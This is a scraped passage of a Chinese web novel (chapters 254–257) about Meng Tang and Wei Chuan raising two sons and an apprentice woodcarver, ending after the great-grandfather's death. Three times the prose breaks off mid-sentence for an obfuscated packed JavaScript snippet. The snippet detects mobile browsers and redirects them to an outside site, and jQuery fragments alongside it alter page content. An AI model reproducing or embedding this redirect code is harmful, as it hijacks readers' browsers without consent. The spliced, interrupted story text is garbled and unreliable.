孟竞帆拉着孟遇春的手:“太爷爷,我过两天就回来,你要听方姐的话啊。” 孟遇春:“……知道了,小祖宗,赶紧走吧你。” 孟棠上了车,给两个小的系上安全带。 程逾一路上都很兴奋,扒着车窗看高速两边风景都能看一个小时。 孟竞帆上了高速就睡着了,跟个小猪崽子似的打起了鼾。 历经四个多小时,他们在中午十一点半抵达了z市的魏家。 第254章 二胎(1) 程逾跟在孟棠身后进了别墅的大客厅,她心里震惊,脸上吗,没表现出来。 她第一次见这么大的房子,从大门口进来还要开车,一个客厅比她以前住的房子还要大。 她一直都知道魏川有钱,但在雁清那个地方,魏川跟随孟棠简朴生活,除了贵一点的车,其他方面看不出什么。 直到这一刻,看到保养得宜的楚茵,程逾才明白自己还是想象力不够。 “你就是小鱼吧?”楚茵笑着问了句。 程逾点了下头:“奶奶好。” “这眼睛真漂亮。”楚茵夸了句,“你师父总跟我说你有灵气,今天终于见着了,确实讨人喜欢。” 程逾难得不好意思,挠了下头,动作就是一假小子。 楚茵朝孟棠笑了笑:“马上开饭了,让孩子们去洗个手。” 程逾刚来,不知道洗手间在哪儿,魏川踢了下孟竞帆的屁股:“带你小鱼姐姐去洗手。” 孟竞帆小胖手一挥,示意程逾跟上。 两人进了洗手间,孟竞帆问程逾:“小鱼,你觉得我奶奶怎么样?” 程逾捏了下他的脸:“谁让你叫名字了,姐姐不会喊?” 孟竞帆哼了声,拍开她的手:“你才不是我姐姐,你又不是我妈妈生的。” 程逾看着他,突然邪恶一笑:“小胖帆。” 孟竞帆眼睛一瞪:“我才不是小胖帆。” 程逾:“我也没说叫你啊,你自己上赶着认了。” 相差五岁,还是幼儿园中班的孟竞帆哪是自小在市井穿梭讨生活的程逾的对手。 洗了手,喜提新称号的孟竞帆扭头说:“我去告诉妈妈,你骂我。” “啧啧。”程逾摇了摇头,“又成告状精了。” 孟竞帆脚步一顿,满脸纠结又气愤的表情要笑**。 程逾走到他,说:“放心吧,谁抢你奶奶啊,是师父让我跟着你叫的,怎么这么小气。” 孟竞帆:“……” 奶奶今天都没先对他亲亲抱抱举高高。 程逾自小在大人堆里混,人精一个,她故意露了个可怜的表情,逗孟竞帆: “我从小没有爸爸,也没有妈妈呢。” 孟竞帆小脸紧皱:“好吧,我家人先借给你。” 程逾被逗笑,心想这小胖墩真单纯。 出了洗手间,魏思沅和魏思嘉一前一后回来了。 孟棠给程逾介绍,程逾礼貌地叫了人。 楚茵叹了声气:“你还有个二姑,当兵的,神龙见首不见尾,以后有机会再介绍给你认识。” 程逾乖巧地点了点头。 魏思嘉全面接手了家里的产业,前两年代表家族联了姻,夫妻感情略微平淡。 魏思沅往餐厅里一座,是全家重点保护对象。 孟棠挨着她一起,问她好多孕期的事,魏思沅哀嚎:“吐死我了,你那会儿好像也没这样吧?” 孟棠说:“没怎么吐,每个人的情况都不一样,你是吐到东西都吃不下吗?” “那倒也没有。”魏思沅说,“家里人都变着法子让我舒坦,我也就偶尔发发脾气。” 赵疏白:“……” 她的偶尔跟别人的偶尔,恐怕不太一样。 魏川拍了拍赵疏白的肩膀,用公筷给他夹了块排骨:“小白哥,你瘦了,多吃点。” 赵疏白以前高冷范十足,自从魏思沅怀孕,接地气不少,这会儿得了魏川的关心,竟然生出了点感动。 “你俩打算什么时候要二胎?”魏思嘉突然问了句,问得魏川猝不及防。 孟棠沉稳得多,说:“我还没和魏川商量这事。” 魏川皱了下眉:“什么意思?怎么感觉你俩商量好的?” “我说话直接,你们别不爱听。”魏思嘉说,“公司的重担都在我一个人身上,下一任继承人难道不要时间培养?” 魏川指了指自己:“你要培养我的孩子?” “不然呢?”魏思嘉瞪了他一眼,“要不是你自己离不开孟棠,要待在雁清,怎么着你现在在公司也混到管理层了,天天守着自己的小公司,你能躲一辈子清闲,你儿子可不行。” 其实魏思嘉说的已经很明显了,让他再生,显然孟竞帆是不行的。 因为他姓孟,公司虽然是魏思嘉当家做主,但公司不是她一个人的,祖上留下一份庞大的家业,只能姓魏的去继承,无论男女。 孟棠和魏川对于这一点,当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459425|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解的。 其实相较而言,他们更喜欢孩子选择自己感兴趣的事业做一辈子。 但家族的责任,总得有人担任起来。 根据魏川的观察,孟竞帆就不是继承的那块料。 小脑袋单纯,五加五都加不明白,就仗着个头不错,拳头硬一些。 魏川不止一次想过,孟竞帆以后可能会打篮球,走他的老路子。 吃完饭,魏川让阿姨带着程逾和孟竞帆在花园玩了会儿,自己将孟棠拐到了房间。 “你干什么?大家都看着呢。” 魏川反手将房门推上,将她堵在门后笑了声:“真的要生二胎啊?” 孟棠仰头看着他,说:“你不在乎,不代表爸妈也不在乎,确实应该再生一个跟你姓魏。” 魏川低头亲了下孟棠,小声道:“真的生啊?” “嗯。”孟棠搂住他,靠在他胸膛,“帆帆也大了,再过一年,他要回z市读书,再生一个,也有余力照顾。” 魏川揽住她后脑勺揉了揉:“好,那就再生一个。” 夫妻俩商定好了,接下来自然要备孕。 从九月开始,两个月没什么动静,魏川不禁怀疑自己了,孟棠得知,笑趴在床头。 不知道他哪来那么多的小心思,有时候让人无语,有时候有很可爱。 魏思沅的孩子在十二月出生,和魏川的生日隔了一个礼拜。 魏川当舅舅了,看着小外甥女,心都融化了,他第二胎会不会也是个闺女? 这也得太软太可爱了。 回到家,他火急火燎拉着孟棠进卧室,说要生闺女。 孟棠白了他一眼:“你说闺女就是闺女?” 魏川无比自信:“我觉得一定是闺女。” 一月,孟棠的生理期迟迟没来,她有了一次经验,直接去药店买了验孕棒。 可能是早期,红线隐隐约约,不是很明显。 她耐着性子又等了些天,显示了两条很明显的红杠,当天下去,她让魏川送她去医院。 魏川以为她不舒服,火急火燎将人送到医院,结果得知老婆怀孕了。 整个孕期,魏川念念叨叨是闺女,结果在来年十月份,又生了一个儿子。 第255章 二胎(2) 程逾和孟竞帆趴在儿童床边上,对睡着的魏云舟目不转睛。 孟竞帆想要伸手戳两下,被程逾按住:“嘘,别动他。” “他为什么一直睡觉?”孟竞帆学着她用气声问。 “小宝宝就是要睡觉,睡觉长个子。”程逾说,“你小时候也这样。” “你骗人,你认识我的时候,我已经长大了。” 程逾撇了撇嘴,越来越不好骗了,没关系,还有个小的呢。 孟棠和魏川进了卧室,程逾和孟竞帆连忙起身跑了过去,动静带醒了魏云舟。 魏川“啧”了声:“被你俩吵醒了。” 孟棠接住孟竞帆,说:“时间也差不多了,估计饿了。” 魏川熟练地调了奶粉,将宝宝兜进臂弯里,见他喝了,抬头跟孟棠说: “这小子性子好安静,跟你很像,跟他哥完全相反。” 孟棠说:“他在肚子里就安静。” “那不一定。”魏川朝孟竞帆努努嘴,“他在肚子里也安静,能走能跑了还不是一样调皮。” 孟竞帆朝魏川做了个鬼脸。 魏川都懒得搭理他,喂完小儿子的奶,拍了拍嗝,给换了纸尿裤。 孟棠在一旁看着,笑了声:“当初你做这些的时候,还十分抗拒。” “我也就抗拒了十来分钟,就给孟竞帆换了纸尿裤。”魏川将孩子给她,“抱着玩会儿再让他睡。” 孟云舟快满六个月了,相较刚出生时,醒着的时间明显增多。 眼睛一睁就有人逗自己,孟云舟这个瞧瞧,那个瞅瞅,抓着魏川的手就要往嘴里送,被魏川紧急叫停了。 “什么胃口啊?刚吃饱又想吃肉了。”魏川逗了句。 孟云舟笑着蹬了下腿。 “你看他。”魏川抬头看向孟棠,“动作很轻,不像孟竞帆小时候,一脚蹬下去,能把人五脏六腑蹬错位。” 孟棠也见识过孟竞帆蹬腿的威力,一时找不到什么反驳的话。 “舟舟醒了吗?”外间传来老爷子的声音,“醒了抱出来晒晒太阳,今天没风。” “来了。”孟棠抱着二宝出了房间,魏川拿了婴儿车。 婴儿车有遮阳棚,可以把宝宝的眼睛挡一下。 这会儿刚过三点,方姐和英姐没什么事,全都凑过来逗孩子玩。 逗弄半天,魏云舟就咧嘴笑了两次。 “这孩子挺稳重啊。”英姐说,“将来是做大事的料子。” “这才多大。”魏川笑了声,“就看出来了?” 英姐说:“那你别不信,性格都是天生的,打娘胎里带出来的,咱们舟舟一看就沉稳。” 魏川不予置评。 老爷子点了点头:“性格和帆帆确实不太一样,像孟棠,安静。” “我也觉得。”魏川附和了句,“不过兄弟俩性格要一样干什么?再来一个孟竞帆,屋顶都能被掀了。” 说到孟竞帆,孟棠四处看了眼,问:“帆帆人呢?” “刚才不还在这吗?”魏川说,“不管他,铁定又跑出去玩了。” 程逾说:“我去找找看。” 说完,她一溜烟跑没影儿了。 程逾找了孟竞帆十几分钟有点慌了,因为他平时只会在固定的地方玩。 今天好几个地方都没找到他人。 程逾不敢耽搁,赶紧回家和魏川说了声。 所有人心里一紧,孟棠抓住英姐:“你留下照顾舟舟。” 英姐赶紧应了声。 “爷爷,您在家里找找。” 老爷子腿脚不便,孟棠让他留了下来。 魏川跑得快,出去找了两圈没找到人,又一个个打电话给平时玩得好的小伙伴的家长,得知了孟竞帆半小时前就回来的信息。 孟棠和他迎面撞个正着,见还没找到,一颗心迅速往深渊里坠。 “怎么回来了?”孟棠抓住魏川的手臂,“还没消息吗?” 魏川抽出手臂将她搂住,说:“不要着急,回去找找,我打过电话,邻居们说看见他进了后门。” 后门? 孟棠转头就往北院跑,程逾比她还快。 进了北院,看到老爷子抱着孟竞帆时,孟棠腿一软,差点跪了下去。 魏川一把扶住她,咬牙切齿:“他要是醒着,我高低得给他一脚。” 孟遇春白了他一眼:“我看你敢!” “爷爷,他怎么睡着了?”孟棠走过去摸了摸孟竞帆的额头,没有汗水。 老爷子说:“我来的时候,他已经趴石桌上睡着了,估计玩木头积木玩累了。” 石桌凉,他只能把孩子抱进怀里。 魏川也跟着松了口气,俯身去接孟竞帆:“我抱他回房间。” 这种事,孟竞帆不是第一次做。 三岁时,他让孟棠和他玩捉迷藏,躺餐椅上睡着了。 餐椅和餐桌卡得严丝合缝,椅背把他挡得严严实实,孟棠找了半天,都快报警了,才被方姐发现,小家伙在餐椅上睡着了。 兄弟俩隔着儿童床一道拉杆睡着了,魏川越看越觉得心软,拿出手机拍了一张,发送进了家族群。 孟棠看到照片笑了笑,对出了房间的魏川说:“晚饭前一定要把帆帆叫醒,不然晚上就不睡了,我带小鱼去工坊,你看着点。” “好。” 程逾跟上去,问:“师父,我什么时候能开脸啊?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464929|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟棠笑了声:“早呢。” 程逾有些泄气:“是不是我手艺不行?” 孟棠搂住她肩膀,说:“你现在去集市,完全可以靠手机养活自己,但你现在还小,开脸的技术难度太大,再过几年,等你手部力量足够时,开脸也不迟。” 面部极难刻画,程逾现在还驾驭不了。 不过她平日里忙木雕馆的事,程逾也从老爷子那儿学了不少东西。 在同龄人水平里,程逾绝对是拔尖的存在。 而她自幼丧父丧母,走路都不稳时,已经和刻刀木雕打交道了,所以在孟遇春看来,程逾比孟棠的天赋都要高。 吃苦程度差不多,这行能雕好的,就没一个不刻苦的。 根据孟遇春的观察,程逾的作品更贴近生活,这类作品的取材都是源于真实的现实生活,也就是所见所感往的事物。 所以程逾的作品,更具有烟火气。 孟棠呢,偏好雕刻正统神佛,比如如来、观音等,她的作品随着年龄的增长,带着一种漫不经心的绝对权威感。 好在她有因材施教,也对程逾做了良好的引导,再加上孟遇春从旁协助,程逾想不成功都难。 孟竞帆睡了一个多小时,被他弟吵醒了。 二宝醒了后哼哼唧唧,但声音很小。 孟竞帆一个轱辘爬进了婴儿床,学着大人的模样拍了拍,嘴里黏黏糊糊地哄着让孟云舟睡觉。 魏川要喊孟竞帆吃完饭,正好看到了这一幕。 他将孟竞帆抱起来,在脸上亲了口,说:“方姐已经做好饭了,你去叫你妈妈和小鱼姐吃饭。” “好。” 孟竞帆跑了,找妈妈是最积极的。 跑到院中,他就被拦了下来,孟棠正好洗了手,牵住他的手,说了句:“**躁。” 孟竞帆嘿嘿一笑,肚子咕噜噜叫起来。 孟棠带他去餐厅吃饭,魏川将二宝也抱了过去。 临近四月,春暖花开,远处的朋友传来了好消息,谢泠音怀孕三个月。 孟棠在雁清很忙,给谢泠音寄了好多东西,从玩具到衣服,够谢泠音的宝宝用到三岁。 这些年,大家陆陆续续成了家。 石岚、杨可和梁衡总在群里自黑找不到对象,没想到天雷勾动地火,看对眼了立马结了婚。 婚后大家的重心都在小家庭上,群里都很少聊了。 不过他们每年都在z市聚一次,今年如果再聚,只怕要多添一张副桌给小朋友坐。 当孩子们一个个长大,孟棠惊觉自己已经往奔四的道路去了。 或许是跟魏川的日子平淡且幸福,时间溜得太快,让人抓不住。 第256章 二胎(3) 魏云舟的成长过程可谓是集万千宠爱于一身,但人家本人很淡定。 和孟竞帆跳脱的性格相反,魏云舟沉静话少,一整个清冷的瓷娃娃。 魏川还一度怀疑过自己儿子的智力问题,可魏云舟模仿能力极强,还会举一反三,学什么都快。 在完全不认识字的年纪,一首不算简单的诗,魏云舟听两遍就能准确复述。 魏川觉得小儿子智力应该比大儿子高,就跟家里人提了这事。 最后的结果是两个孩子全都被接回z市读书,有专人管理和照顾。 看着空荡荡的院落,魏川心里不太得劲,使劲缠着孟棠,抱着她的腰,说: “我还以为二宝会和他哥哥一样,也在雁清读幼儿园。” 孟棠笑着顺了把他的短发:“想孩子的话,高铁两小时就到了,你就算天天在雁清和z市来回,也就是累一点的事情。” “大姐可凶残了。”魏川说,“你家二宝到她手上,指不定得受多少罪。” “那怎么办呢?”孟棠跟他演,“这不是二宝他爸遗留下来的继承问题吗?” 魏川是躺在孟棠腿上的,闻言转了个方向,懒洋洋道:“有些苦,还是孩子去吃吧,他们有年轻的本钱。” 孟棠无语地推了他一把:“起来,小鱼马上放学,去接人。” 雁清这个地方,用豪车接送孩子太扎眼,魏川买了个小电车,好停好走还好开。 “走了。”魏川起身,“接闺女去了,你要不要跟我一起?” 孟棠摇了摇头:“你赶紧去,别再迟到了。” 魏川有一回接程逾放学迟到,是程逾自己跑回来的,孟棠当即就给魏川打电话,说他不靠谱。 “那我走了。”魏川拿了车钥匙,去了程逾的学校。 程逾现在是六年级,还有两个月要中考。 她成绩很好,一直稳居年级前十五。 起初孟棠问过她愿不愿意去z市读书,程逾拒绝了,她说:“师父,对我来说,技艺传承更加重要。” “我是来学艺的,不是来当大小姐的。更何况,我现在都忙**,单单就传统文化知识的学习都能让我吐血。” 孟棠“啧”了声:“胡说八道什么。” “师父,咱们上学不过是因为现代社会需要这一纸文凭,这要搁以前,谁技术好谁说了算,您看了《文化大会》节目了吗?咱俩上去能拿冠军吧?” “口气挺狂。”孟棠失笑,“书籍如浩瀚烟海,你才学到哪儿?” 程逾哼了声,小表情得意洋洋:“反正在我们学校,我找不到对手,无敌是多么,多么寂寞……” 说着说着,程逾唱了起来,孟棠觉得又好气又好笑。 她特别程逾的性格,但偶尔嘛,这孩子也不太好管,倔得很。 她说了手艺大于学习,她就一定是这样信奉的。 程逾的最终归宿和孟棠是一样的,她清楚地知道,就算她成绩不好,仅凭这门手艺就能进一所不错的美院。 更何况,她成绩还不错。 程逾回到家后,写了作业就得摸进工坊,通常都是孟棠来叫,她才回房睡觉。 雁清岁月静好,z市那边孟竞帆狂嚎要妈妈,每次都被魏思嘉按压下去。 其实他也就嚎一嗓子发泄发泄,开视频的时候又帅帅甜甜地叫了无数遍妈,把他那翘首以盼的爸忘得一干二净。 挂断视频,魏川直呼没良心,抱着孟棠滚上床:“要不我们再生一个?” 孟棠一脚踢在他腹部:“滚。” 魏川可没受过这种待遇,放下帘子追了过去。 雁清的日子不紧不慢,每周,孟棠都会和魏川去一趟z市看孩子,或者司机将两孩子送来雁清。 兄弟俩全都倾向于来雁清,但坐车累人,孟棠都会在周五下午去z市,寒暑假才会将他们接回雁清。 程逾考进了雁清最好的一所初中,距离老宅有点远,不过魏川开车来回接送也就四十分钟。 他如果不在的话就英姐送,当初找人照顾孟竞帆的时候,就要求有驾照。 孟棠会偶尔接送,不过程逾不要她接,因为她川叔疼老婆,不舍得她师父累一点。 毕竟孟棠平日里的工作已经够忙了,她只需要做好自己的事情就可以。 暑假时,两兄弟齐聚雁清,许久不见,孟竞帆看见程逾,直接扑了上去:“小鱼。” 程逾吓了一跳:“我靠,你怎么瘦了好多?” 孟竞帆嘿嘿一笑:“我是不是变帅了?” “嘁,秋后二年级的小屁孩,知道什么是帅?” 孟竞帆抬手撸了个大背头:“就这样帅。” 程逾轻飘飘扔下一句:“油腻。” 孟竞帆破防了:“你怎么能这么说我?” 一路追到院里,程逾都没搭理他,孟竞帆心情不爽地薅了把菜园水灵灵的菜。 魏川看到,从背后踢了下他的屁股:“干嘛呢?” 孟竞帆叹了声气:“爸爸,你不懂!” 魏川:“……” 孟竞帆屁股一撅,转头去找魏云舟了,结果魏云舟也不理他。 他爬到孟遇春的躺椅上,唉声叹气到令人烦。 天气本来就热,孟遇春都被他叫烦了,小老头往躺椅旁一蹲,问:“怎么了?” 孟竞帆见有人理他,一骨碌爬起来,说:“太爷爷,小鱼不理我我能理解啊,大一点的孩子不喜欢小孩嘛,为什么魏云舟也不理我?他可比我小呢。” “呃……”孟遇春一瞬间词穷了,撇头看了眼专注绘本的二宝,说,“可能你们不能一个层次上。” 孟竞帆赞同地点了点头:“也是,毕竟我层次这么高,我弟比不上,我说的很多东西他都不知道,还好骗,呆呆的,也不知道那破书有什么好看的,他知不知道他是幼儿园的小孩。” 孟遇春:“……自信也是人生课题之一,我很高兴你已经学会了。” 孟竞帆得意地皱了下鼻子。 孟遇春笑了声,问:“这次期末考,考得怎么样?” 孟竞帆躺回椅子上,翘起二郎腿:“我奶奶说了,我开心健康最重要,成绩不重要啦。” 孟遇春:“……那到底考了多少?” “数学79,语文考得好一点,81。” 孟遇春:“……” 魏川和孟棠成绩都挺好的,怎么到他这儿就遭遇滑铁卢了? 81对比79,也叫考得好一点。 不过只要做人没问题,家里的钱倒是能养他一辈子。 每年暑假都很有意思,可今年对于孟竞帆来说,很没意思,程逾整天埋在工坊里,魏云舟还小,带不动。 找曾经的小伙伴玩,也找不齐,因为暑假都报了各种各样的班。 不知道喊了多少次无聊之后,魏思沅去影视城,路过雁清,将孟竞帆带走了。 剧组江湖救急,缺个小皇帝的角色,魏思沅给导演看了自家侄儿的长相,导演激动地拉住她的手:“不笑的时候,有点气势。” 魏思沅都没来得及和孟棠说,直接杀了过来。 孟竞帆得知时,仰着头问:“我演皇帝吗?” 魏思沅点了点头:“想不想跟姑姑去玩?” “想。”孟竞帆一口答应了,随后转头看着孟棠和魏川,用眼神乞求他俩放人。 孟棠心想:就当体验生活了,孟竞帆自己也愿意,便点了头。 老婆儿子都乐意,魏川更没反对的理由。 孟竞帆就这么跟魏思沅踏上了去影视城的路,也拐上了人生的转折点。 他这个角色要拍一个星期左右,魏思沅因为产后复出,是一个重要客串。 不过她自己成立了影视公司,也投资了这部剧,女主角就是她公司的艺人,她话语权很大。 孟竞帆人帅嘴甜,不到一天,在组里完全混熟了。 导演让他试了一个片段,惊讶地发现:表演得还不错。 就连魏思沅都惊了下,这小子还有表演天赋呢。 仔细想想,家里没一个有表演细胞的,她是他姑姑,有没有可能是遗传自她呢? 魏思沅这么一想,心里美滋滋了。 晚上回到酒店,她问孟竞帆:“大宝,拍戏好不好玩啊?” “好玩。”孟竞帆说,“小姑,那个戏服真好看,我感觉我穿上去真变成皇帝了。” 魏思沅明白孟竞帆的意思,说:“你信念感挺强的,衣服一穿,不自觉就端了起来,明天正式开拍,有没有信心能演好?” 孟竞帆丝毫不惧:“有。” 魏思沅说:“毕竟是你第一次演戏,NG也没关系,你还是小孩呢,导演不会骂你的,但要认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469284|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演啊,不许捣乱,一场戏下来,有很多人在一起努力,不能浪费别人的时间和精力,你既然答应拍了,就要做好哦。” “我知道。”孟竞帆拍了拍胸脯,“我一定不给你丢脸。” 魏思沅的电视剧,家里人没少看。 孟竞帆自然也看过不少,知道电视上播放的都是演的,只不过不知道是怎么演的,今天去了剧组,才对演戏这件事有了个初步的认识。 七天的拍摄时间,对孟竞帆来说是个新奇的体验。 虽然会因为各种各样的原因会被导演喊“卡”,但他硬是没表现出一丝烦躁。 孟竞帆性格有些冲动,跟魏川的性格是很像的,没有在片场不耐烦,魏思沅都高看了他一眼。 回雁清的路上,魏思沅问他:“帆帆,拍的这几天,累不累?” “累。”孟竞帆点了点头,“但是很好玩,小姑,我下次还要来。” 魏思沅笑道:“但拍戏真的很累,你看今天有个配角小哥哥不就被导演骂了吗?你是小孩,又是姑姑带去的,所以导演才哄着你,万一你没演好,导演骂你怎么办?” “那我就做好,不给他骂。”孟竞帆看向魏思沅,“小姑,下次再带我来玩好不好?” 魏思沅说:“这不是玩,是工作,你要是想来,有合适你的角色,我再带你过来。” “好。”孟竞帆一口答应。 回到家时,魏川带着魏云舟等在门口,见到孟竞帆,魏川调侃道:“咱家皇帝陛下回来了。” 孟竞帆装模作样甩了下不存在的袖子:“父皇。” 跟在后头的魏思沅笑喷了:“你爸成太上皇了。” 魏云舟礼貌地开口:“哥哥,小姑。” 按照孟竞帆演的角色,魏云舟长大后会是个王爷,他拍了拍魏云舟的肩膀,一副语重心长老大哥的模样。 “还演上瘾了。”魏川轻笑,“赶紧进去,你太爷爷想你了。” 孟竞帆卸下大人模样,欢快地跑进了大门:“太爷爷,我回来了。” 孟遇春年纪大了,腿脚不太好,方姐先迎了出来:“帆帆回来了,拍戏好不好玩?” “好玩,但是也累。”孟竞帆一字一句地回答。 孟遇春从房里出来,朝他招了招手:“回来了。” 孟竞帆亲昵地搀扶住老爷子,和他聊了几句拍戏的日常,孟遇春盯着他发亮的双眸若有所思。 没一会,孟棠带着程逾从木雕馆回来,孟竞帆直接冲进了孟棠的怀里。 孟棠搂住他,捏了下他的脸:“玩得开心吗?” “演得开心。”孟竞帆说。 魏思沅从他身后迎上来,对孟棠说:“他是真的演得开心,还蛮有演戏天赋的。” 孟棠挑了下眉:“还有这样的天赋?” “骗你干什么?”魏思沅说,“到时候看剧就知道了,我手机里还有好几段他拍戏的视频,到时候发给你看。” “好。”孟棠挽着她进屋,“今天留一晚吧,天都黑了。” 魏思沅点了点头:“行,我本来也打算留一晚的。” 今天天气不错,夕阳景色也好,魏川将餐桌搬到了院中,一家人慢悠悠用了晚餐。 吃完饭,两兄弟就在旁边玩耍,魏云舟还小,程逾时不时盯一眼,生怕他磕了绊了。 魏思沅看向孟棠和魏川,状似不经意地说:“我看帆帆挺爱演戏的。” 魏川抬眸:“然后呢?” “要不……让他跟着我演戏吧。”魏思沅考虑了一下,还是说了出来。 “开什么玩笑?”魏川皱眉,“不过一次客串,你还给他定了职业规划?他才几岁,要去做童星?” “童星怎么了?”魏思沅据理力争,“你可以问问帆帆自己喜不喜欢,如果喜欢,以后就往这条路上走呗。” 在玩的孟竞帆插了句嘴:“我挺喜欢的,很有意思。” 孟棠和魏川对视了眼,没想到自家大儿子喜欢拍戏。 魏思沅说:“有我在,你俩怕什么,帆帆真喜欢的话,就朝这行发展,从小培养,当然,文化课什么的都得抓起来,没有文化演不好戏。” 孟棠点了点头:“我对于他未来想要做什么没什么意见,帆帆乐意就行。” 魏思沅看向魏川,魏川白了她一眼:“我听孟棠的。” 第257章 时光(1) 时光悠悠,几载倏然而过。 院中的某一扇窗口,传来沉重的喘息,听得人心里提不起任何的劲儿。 魏云舟盯着微敞的窗口,看清了孟棠脸上的泪痕。 从小到大,他没有见过孟棠哭。 太爷爷不行了,他年纪太大了,像一棵枯萎的老树,浇水晒太阳施肥……怎么样都救不好。 孟遇春拉住魏川的手,一句话也说不上来,只是力气大到吓人。 魏川身体前倾,双手握住老爷子的手,沉声道:“我知道您想说什么,我一定会守好孟棠和这座老宅。” 孟遇春点了点头。 孟棠心口俱裂,转头出了孟遇春的卧室。 魏云舟起身迎上去,拉住了孟棠的手。 孟棠蹲下身,将他抱进怀里。 “太爷爷,我回来了!” 门口传来一声中气十足的喊声,孟棠松开魏云舟,看到了风尘仆仆的大儿子,与他一起的还有魏思沅和赵疏白。 “棠棠,老爷子怎么样了?”魏思沅接到消息,第一时间就跟剧组请了假,带着孟竞帆回了雁清。 孟棠摇了摇头。 魏思沅上前搂住她,安慰道:“我知道你很痛苦,但生老病死,谁都没有办法,老爷子豁达,你应该好好送他最后一程。” “师父。” 门外又传来一道熟悉的声音,是已经高二的程逾,她也是从学校请的假。 进了院中,一见那么多人,程逾慌了,绕过孟棠跑进了孟遇春的卧室。 魏川给她让出一个位置,程逾握住老头的手,颤抖个不停,又怕让老爷子看到她哭,埋首趴在了床边。 虽说孟棠是她的师父,可孟遇春没少教她。 她在这个院子里生活了九年,每一天都会见到孟遇春,比孟竞帆魏云舟见到的还要多。 她早已把这里当成家,骤然让她接受这样无可奈何的事实,程逾有些接受不了。 孟遇春艰难而缓慢地拍了拍她的头:“叫……叫你师父进来。” 魏川立刻起身:“我去叫。” 魏川出了房间的门,轻声温柔地叫了声孟棠的名字,等她回眸,才道:“爷爷叫你进去。” 孟棠擦了眼尾的泪,转身进了屋里。 魏思沅也想跟进去看看,被魏川拦下了:“等一下吧。” 孟遇春几乎说不了什么话,断断续续的,但程逾和孟棠心里都明白他的牵挂,无非就是手艺的传承。 孟棠说了满口保证的话,老爷子才慢慢合上了眼。 直至里头传来孟棠和程逾的哭声,院里的人全都冲了进去。 老头简朴,丧事从简。 孟竞帆第一次经历亲人的离世,突然明白了前几天,自己在剧组里一段“子欲养而亲不待”的戏份。 他抱着孟棠嚎啕大哭,耍赖一般说要太爷爷。 孟棠已经够难受了,魏川都怕她哭坏身体,硬生生将孟竞帆拉开,示意魏思沅将他带走。 楚茵见孟棠哭得无声,心疼不已,在一旁小声劝慰。 孟棠自然什么也听不进去,但她也知道,她只是需要时间去沉淀一下悲伤。 从春到夏,雁清的老宅里都弥漫着淡淡的忧伤,孟棠总会在老爷子待过的角落里发呆;魏川随口一句“老头”出口,却再也没有人应;方姐做饭还是习惯性多做一份软口的…… 从一开始的掉眼泪到后来大家的相视一笑,滞后的潮湿被夏天暴烈的阳光烘干了。 程逾明年要高考,暑假在外补课,每天回来都很晚。 补了一个多月,八月的时候终于放假归家。 孟棠和魏川去了木雕馆,今天当地有个分享会的活动,家里只剩下两个小孩,还有方姐和英姐。 程逾一瘸一拐进了门,进了中院前,特地四周张望了下,见没大人,才小心翼翼从影壁后出来。 可她漏了一个人,被坐在廊下看书的魏云舟看全了。 程逾刚要越过他回房间,魏云舟轻飘飘问了句:“小鱼姐,你腿怎么了?” “我去。”程逾吓得一个哆嗦,随后寻着声音望过去,“你怎么坐这儿看书啊?” 魏云舟起身,目光落在她侧颈:“你脖子受伤了?” 程逾下意识捂住,说:“我自己挠的,刚才进门不小心磕到腿了,没事。” 魏云舟若有所思。 程逾进了屋子,还没来得及身上的伤,手机震动起来,是她好朋友周淼。 “小鱼,你没事吧?有没有遇到那几个傻逼?” 程逾不想她担心,说:“没遇到,我特意绕开了,再说了,就算遇到了又怎么样,我是会让自己吃亏的人吗?放心。” 周淼:“我知道你厉害,但对方人多,我怕你被欺负。” 程逾:“我真没事……” 和朋友说这话的工夫,魏云舟跑进了孟竞帆的房间,孟竞帆今年不过12岁,身高已经170,见弟弟进来,问了句:“怎么了?” 说完,自己先翻了个白眼,因为他好像要变声了,嗓子跟鸭子似的。 一开始,孟竞帆还有点新鲜感,感觉自己变声还挺早的。 结果两三个月过去了,从时而嘶哑时而正常,直接过度到鸭子声,然后再没动静了。 他自己去网上查过,变声也有几个阶段,他目前应该是第二阶段,最难听的一个阶段。 持续时间可长可短,有些长一点的甚至一到两年。 孟竞帆想到这里就觉得心累,所以变声期后他都懒得讲话了,直接从活泼开朗的小帅哥变成了话少的高冷男孩。 不过高冷只是表象而已。 魏云舟已经听惯了他哥的嗓音,说:“小鱼姐好像受伤了。” “什么?”孟竞帆将电影暂停,“怎么受伤的?” 魏云舟:“走路一瘸一拐的,脖子上也有红痕,我看不出来是不是别人打的,但她的表情很心虚。” “那一定是了。”孟竞帆起身,“我去看看,你自己玩去吧。” 